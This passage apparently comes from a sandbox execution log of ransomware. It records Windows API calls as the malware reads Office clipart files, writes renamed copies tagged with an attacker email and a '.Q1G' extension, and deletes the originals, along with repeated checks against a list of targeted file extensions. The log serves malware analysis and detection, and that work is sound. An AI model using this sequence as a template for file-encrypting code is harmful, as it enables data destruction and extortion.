| out: lpNewFilePointer=0x0) returned 1 [0255.865] SetEndOfFile (hFile=0x324) returned 1 [0255.867] CloseHandle (hObject=0x324) returned 1 [0255.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0255.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.868] lstrlenW (lpString=".doc") returned 4 [0255.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.868] lstrlenW (lpString=".docx") returned 5 [0255.868] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.868] lstrlenW (lpString=".pdf") returned 4 [0255.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.868] lstrlenW (lpString=".xls") returned 4 [0255.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.868] lstrlenW (lpString=".xlsx") returned 5 [0255.868] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.868] lstrlenW (lpString=".ppt") returned 4 [0255.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.868] lstrlenW (lpString=".zip") returned 4 [0255.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.868] lstrlenW (lpString=".rar") returned 4 [0255.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.868] lstrlenW (lpString=".bz2") returned 4 [0255.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.868] lstrlenW (lpString=".7z") returned 3 [0255.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.868] lstrlenW (lpString=".dbf") returned 4 [0255.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString=".1cd") returned 4 [0255.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString=".jpg") returned 4 [0255.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString=".doc") returned 4 [0255.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString=".docx") returned 5 [0255.869] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.869] lstrlenW (lpString=".pdf") returned 4 [0255.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString=".xls") returned 4 [0255.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.869] lstrlenW (lpString=".xlsx") returned 5 [0255.869] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.869] lstrlenW (lpString=".ppt") returned 4 [0255.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString=".zip") returned 4 [0255.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.869] lstrlenW (lpString=".rar") returned 4 [0255.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString=".bz2") returned 4 [0255.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString=".7z") returned 3 [0255.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString=".dbf") returned 4 [0255.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString=".1cd") returned 4 [0255.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0255.869] lstrlenW (lpString=".jpg") returned 4 [0255.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.870] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.870] lstrlenW (lpString="J0103058.WMF") returned 12 [0255.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.870] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=17344) returned 1 [0255.870] CloseHandle (hObject=0x324) returned 1 [0255.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20 [0255.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.871] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.871] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0255.871] GetLastError () returned 0x0 [0255.871] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x43c0, lpOverlapped=0x0) returned 1 [0255.883] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x43d0, lpOverlapped=0x0) returned 1 [0255.884] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.884] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.884] SetEndOfFile (hFile=0x3bc) returned 1 [0255.884] CloseHandle (hObject=0x3bc) returned 1 [0255.885] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.885] SetEndOfFile (hFile=0x324) returned 1 [0255.887] CloseHandle (hObject=0x324) returned 1 [0255.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0255.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.887] lstrlenW (lpString=".doc") returned 4 [0255.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.887] lstrlenW (lpString=".docx") returned 5 [0255.887] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0255.888] lstrlenW (lpString=".pdf") returned 4 [0255.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString=".xls") returned 4 [0255.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.888] lstrlenW (lpString=".xlsx") returned 5 [0255.888] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0255.888] lstrlenW (lpString=".ppt") returned 4 [0255.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.888] lstrlenW (lpString=".zip") returned 4 [0255.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.888] lstrlenW (lpString=".rar") returned 4 [0255.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString=".bz2") returned 4 [0255.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString=".7z") returned 3 [0255.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.888] lstrlenW (lpString=".dbf") returned 4 [0255.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.888] lstrlenW (lpString=".1cd") returned 4 [0255.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.888] lstrlenW (lpString=".jpg") returned 4 [0255.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.888] lstrlenW (lpString=".doc") returned 4 [0255.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString=".docx") returned 5 [0255.888] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0255.888] lstrlenW (lpString=".pdf") returned 4 [0255.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.888] lstrlenW (lpString=".xls") returned 4 [0255.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.888] lstrlenW (lpString=".xlsx") returned 5 [0255.888] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0255.889] lstrlenW (lpString=".ppt") returned 4 [0255.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.889] lstrlenW (lpString=".zip") returned 4 [0255.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.889] lstrlenW (lpString=".rar") returned 4 [0255.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.889] lstrlenW (lpString=".bz2") returned 4 [0255.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.889] lstrlenW (lpString=".7z") returned 3 [0255.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.889] lstrlenW (lpString=".dbf") returned 4 [0255.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.889] lstrlenW (lpString=".1cd") returned 4 [0255.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0255.889] lstrlenW (lpString=".jpg") returned 4 [0255.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.889] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.889] lstrlenW (lpString="J0103402.WMF") returned 12 [0255.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.931] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=44948) returned 1 [0255.931] CloseHandle (hObject=0x324) returned 1 [0255.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20 [0255.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.964] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.964] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0255.965] GetLastError () returned 0x0 [0255.965] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xaf94, lpOverlapped=0x0) returned 1 [0255.969] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xafa0, lpOverlapped=0x0) returned 1 [0255.970] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.970] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.970] SetEndOfFile (hFile=0x3bc) returned 1 [0255.971] CloseHandle (hObject=0x3bc) returned 1 [0255.971] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.971] SetEndOfFile (hFile=0x324) returned 1 [0255.973] CloseHandle (hObject=0x324) returned 1 [0255.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0255.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.974] lstrlenW (lpString=".doc") returned 4 [0255.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.974] lstrlenW (lpString=".docx") returned 5 [0255.974] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.974] lstrlenW (lpString=".pdf") returned 4 [0255.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.974] lstrlenW (lpString=".xls") returned 4 [0255.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.974] lstrlenW (lpString=".xlsx") returned 5 [0255.974] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.974] lstrlenW (lpString=".ppt") returned 4 [0255.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.974] lstrlenW (lpString=".zip") returned 4 [0255.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.974] lstrlenW (lpString=".rar") returned 4 [0255.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString=".bz2") returned 4 [0255.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString=".7z") returned 3 [0255.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.975] lstrlenW (lpString=".dbf") returned 4 [0255.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.975] lstrlenW (lpString=".1cd") returned 4 [0255.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.975] lstrlenW (lpString=".jpg") returned 4 [0255.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.975] lstrlenW (lpString=".doc") returned 4 [0255.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString=".docx") returned 5 [0255.975] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.975] lstrlenW (lpString=".pdf") returned 4 [0255.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString=".xls") returned 4 [0255.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.975] lstrlenW (lpString=".xlsx") returned 5 [0255.975] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.975] lstrlenW (lpString=".ppt") returned 4 [0255.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.975] lstrlenW (lpString=".zip") returned 4 [0255.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.975] lstrlenW (lpString=".rar") returned 4 [0255.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString=".bz2") returned 4 [0255.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.975] lstrlenW (lpString=".7z") returned 3 [0255.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.976] lstrlenW (lpString=".dbf") returned 4 [0255.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.976] lstrlenW (lpString=".1cd") returned 4 [0255.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0255.976] lstrlenW (lpString=".jpg") returned 4 [0255.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.976] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.976] lstrlenW (lpString="J0105244.WMF") returned 12 [0255.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.976] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=11228) returned 1 [0255.976] CloseHandle (hObject=0x324) returned 1 [0255.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 0x20 [0255.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.977] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.977] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0255.978] GetLastError () returned 0x0 [0255.978] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2bdc, lpOverlapped=0x0) returned 1 [0256.071] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0256.074] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.074] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.074] SetEndOfFile (hFile=0x3bc) returned 1 [0256.074] CloseHandle (hObject=0x3bc) returned 1 [0256.074] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.074] SetEndOfFile (hFile=0x324) returned 1 [0256.076] CloseHandle (hObject=0x324) returned 1 [0256.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0256.279] lstrlenW (lpString=".doc") returned 4 [0256.279] lstrcmpiW 